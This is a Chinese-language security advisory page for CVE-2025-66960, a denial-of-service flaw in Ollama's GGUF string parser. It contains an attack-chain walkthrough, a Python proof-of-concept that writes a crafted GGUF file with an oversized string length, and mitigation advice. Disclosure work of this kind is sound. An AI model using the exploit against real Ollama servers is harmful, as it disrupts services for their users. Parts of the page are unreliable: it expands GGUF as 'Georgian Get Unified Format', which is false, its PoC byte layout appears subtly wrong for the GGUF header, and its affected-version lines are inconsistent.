IPBUF安全漏洞报告
English
CVE-2025-66960 CVSS 7.5 高危

CVE-2025-66960 Ollama readGGUFV1String拒绝服务漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2025-66960
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ollama

相关标签

拒绝服务ollamaGGUF缓冲区溢出整数溢出CVE-2025-66960高危漏洞远程攻击无需认证

漏洞概述

CVE-2025-66960是发现于Ollama v0.12.10版本中的一个高危拒绝服务漏洞。该漏洞存在于文件处理模块fs/ggml/gguf.go中的readGGUFV1String函数。该函数在解析GGUF(Georgian Get Unified Format)格式文件时,会从不可信的元数据中读取字符串长度信息,而未对长度值进行充分的边界检查。当攻击者构造一个包含超大字符串长度值的恶意GGUF文件并诱使目标系统解析时,会导致程序在内存分配或读取操作中出现异常,最终引发拒绝服务。由于该漏洞可通过网络远程触发(AV:N),且无需认证(PR:N)和用户交互(UI:N),因此具有较高的利用价值。CVSS评分7.5分,属于高危级别漏洞。

技术细节

该漏洞的核心问题在于readGGUFV1String函数缺乏对GGUF元数据中字符串长度字段的有效验证。在正常的GGUF文件解析流程中,该函数会首先读取一个表示字符串长度的字段,然后根据该长度分配内存并读取相应字节的数据。攻击者可以通过构造一个GGUF文件,在元数据部分将字符串长度字段设置为一个极大的数值(如UINT64_MAX或接近系统内存限制的值)。当程序尝试根据这个超大长度值进行内存分配时,会导致两种可能的拒绝服务场景:1)内存分配失败导致程序崩溃;2)如果长度值被错误处理,可能导致整数溢出,进而引发越界读取或写入。由于该函数处理的是不可信的外部输入,攻击者可以远程部署恶意GGUF文件并诱导Ollama服务器解析,从而造成服务中断。

攻击链分析

STEP 1
步骤1
攻击者发现目标系统运行存在漏洞的Ollama v0.12.10版本,该版本在处理GGUF格式文件时存在安全缺陷
STEP 2
步骤2
攻击者构造恶意GGUF文件,在元数据字段中设置超大的字符串长度值(readGGUFV1String函数会直接读取该值而未进行边界检查)
STEP 3
步骤3
攻击者将恶意GGUF文件上传至目标服务器或通过API接口发送该文件,触发Ollama的GGUF解析逻辑
STEP 4
步骤4
Ollama的readGGUFV1String函数读取到超大字符串长度值后,尝试分配相应大小的内存空间或触发整数溢出
STEP 5
步骤5
由于内存分配失败或异常处理不当,程序触发panic并崩溃,导致拒绝服务
STEP 6
步骤6
Ollama服务中断,所有依赖该服务的AI推理请求均无法正常处理

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-66960 PoC - Malicious GGUF file generator This PoC generates a crafted GGUF file that triggers panic in readGGUFV1String """ import struct import sys def create_malicious_gguf(): """ Create a malicious GGUF file with oversized string length in metadata """ data = bytearray() # GGUF magic number data.extend(b'GGUF') # magic # Version (v1) data.extend(struct.pack('<I', 1)) # version = 1 # Tamper with the metadata section to cause readGGUFV1String panic # The key is to set an extremely large string length value # Metadata tag type (kvp): 3 data.extend(struct.pack('<I', 3)) # type = 3 (string) # Malicious string key name data.extend(b'malicious_key\x00') # Crafted string length - use a very large value to trigger DoS # This causes memory allocation failure or panic in readGGUFV1String oversized_length = 0x7FFFFFFFFFFFFFFF # Near max int64 data.extend(struct.pack('<Q', oversized_length)) # string length # Write the malicious GGUF file with open('malicious.gguf', 'wb') as f: f.write(data) print(f"[+] Created malicious GGUF file: malicious.gguf") print(f"[+] Oversized string length: {oversized_length}") print(f"[!] When parsed by Ollama, this will trigger DoS in readGGUFV1String") if __name__ == '__main__': create_malicious_gguf()

影响范围

ollama < 0.12.10 (受影响版本)
ollama = 0.12.10 (确认受影响)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制Ollama服务的网络访问,仅允许受信任的客户端访问;2)禁止或限制用户上传自定义GGUF文件;3)在上游部署Web应用防火墙(WAF)对文件上传请求进行过滤;4)监控Ollama服务的内存使用情况,设置异常告警;5)考虑使用容器隔离技术限制漏洞利用的影响范围。建议在条件允许时尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表